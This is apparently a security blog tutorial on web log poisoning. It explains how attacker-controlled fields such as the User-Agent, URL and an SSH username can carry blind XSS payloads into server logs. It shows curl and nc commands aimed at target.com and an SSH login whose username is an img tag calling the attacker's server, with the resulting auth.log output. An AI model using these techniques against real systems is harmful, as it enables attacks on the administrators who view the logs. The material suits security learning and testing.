Logs… These are the files, in which all the activities on a server are stored. These are used for monitoring, troubleshooting, fixing bugs (vulnerabilities), and many more things.

Activities are logged for different things, e.g. for a proxy, for a web server, etc. but here, we are learning about web log poisoning.

So, what could be the things that a web server might log? So, the most common things are IP address, date and time, and User-Agent. Seeing the log of the most common web server, Apache 2:

So above, you can see the log for Apache 2 web server that I ran on my computer. The first thing is the IP address (that's the local IP-127.0.0.1), the next is the date and time, then the request method, web path, user-agent, and some other things. So let's first find out what we can easily control

• IP Address: No, it's controlled by ISP and we can't inject payload in it
• Time and Date: That's the date and time on the webserver and we can't control it
• Request method and path: Yes, the URL and method can be controlled.
• User-Agent: Again, yes. We can control that.

Performing attacks

So now, let's move on to what attacks we can perform with this.

The log can be manually viewed by the managers and administrators. So the most probable thing is they will open it in a web browser. So what could be the most possible attacks for this? The most probable one is XSS. So, since the URL, User-Agent, and Request method is the thing we can control, we can inject payloads in this. This would be a blind XSS since the payload wouldn't be executed on our browser (this would be most probably on the system administrator's browser). So to perform this, we can use XSS hunter, which is a free platform for the detection of XSS.

Now imagine that the server isn't having a lot of space, so there are chances that it will not log all the requests, but it might log errors to be troubleshot and make the user experience better. So searching/creating errors:

• Check on all subdomains, if it is returning a 4xx or 5xx error (you can use my tool httpselfie to easily see the screenshot of all subdomains)
• Send malformed requests (command below to cause errors)

curl -X "<payload_here>" -H "User-Agent: <payload>" http://target.com/<payload>

cat <wrong_host_header_request>.txt | nc target.com 80

and many more…

• Set the User-Agent to XSS payload in burp

We can perform different attacks for different cases. Suppose it is logged in SQL database, then the attack could be SQL Injection and many more.

Endpoints for log poisoning

• Login page (failed login attempts)
• 4xx and 5xx status code pages/subdomains.
• API Endpoints
• Sensitive pages (admin pages, etc)
• One time action (subscribe, etc)
• Try logging in to SSH with payload (RCE as well) in the username, and try to get that file via LFI or some other method
• Many more…

Examples of Log Poisoning

Injecting payloads in SSH logs

Since we are gonna inject payloads in SSH logs, we need an SSH port open in our target. So, we can login with user "<payload>" and some random password. Make sure we inject all type of payloads as we don't know how it is going to be processed

For example, running the following command to connect to the target (enter some random password):-

ssh "<img src=myserver.com>"@target.com

I have a Raspberry Pi, so running it against that and seeing logs

redacted@raspberrypi:~ $ sudo cat /var/log/auth.log redacted Apr 5 08:59:23 raspberrypi sshd[1121]: Failed password for invalid user <img src=myserver.com> from 192.168.43.150 port 47084 ssh2 Apr 5 08:59:26 raspberrypi sshd[1121]: pam_unix(sshd:auth): check pass; user unknown Apr 5 08:59:28 raspberrypi sshd[1121]: Failed password for invalid user <img src=myserver.com> from 192.168.43.150 port 47084 ssh2 Apr 5 08:59:29 raspberrypi sshd[1121]: pam_unix(sshd:auth): check pass; user unknown Apr 5 08:59:32 raspberrypi sshd[1121]: Failed password for invalid user <img src=myserver.com> from 192.168.43.150 port 47084 ssh2 Apr 5 08:59:32 raspberrypi sshd[1121]: Connection closed by invalid user <img src=myserver.com> 192.168.43.150 port 47084 [preauth] redacted

Here, you can see the img tag, which if rendered to a browser with safety measures, would make an attempt to get the image from myserver.com. At the root path of myserver.com, we can place a logger that logs all request with all parameters (e.g. User-Agent, Host, Client IP, etc.)

Injecting payloads in failed login logs

There are certain endpoints for a server for monitoring and administration, say /admin, but they requires login. They are very sensitive endpoints, so every suspicious action is to be logged. If we try to bruteforce it with payloads in all parameters, then it might be possible that it would be logged (like in the SSH example above), and if rendered without proper sanitation, then it would cause the payload to be executed.

Similarly, you can inject payloads at different endpoints which have more chances to be logged. And make sure to keep your User-Agent filled with some payload

Automation

For log poisoning, I've created a tool called Log-Venom. It is designed to poison all pages with a payload.

This is a shell script and it automatically sends requests with payloads in different fields.

To be noted: Make sure you don't use payloads like <script>alert(1)</script> in this attack. This is a blind attack so make sure you have your own server up and running to log these thing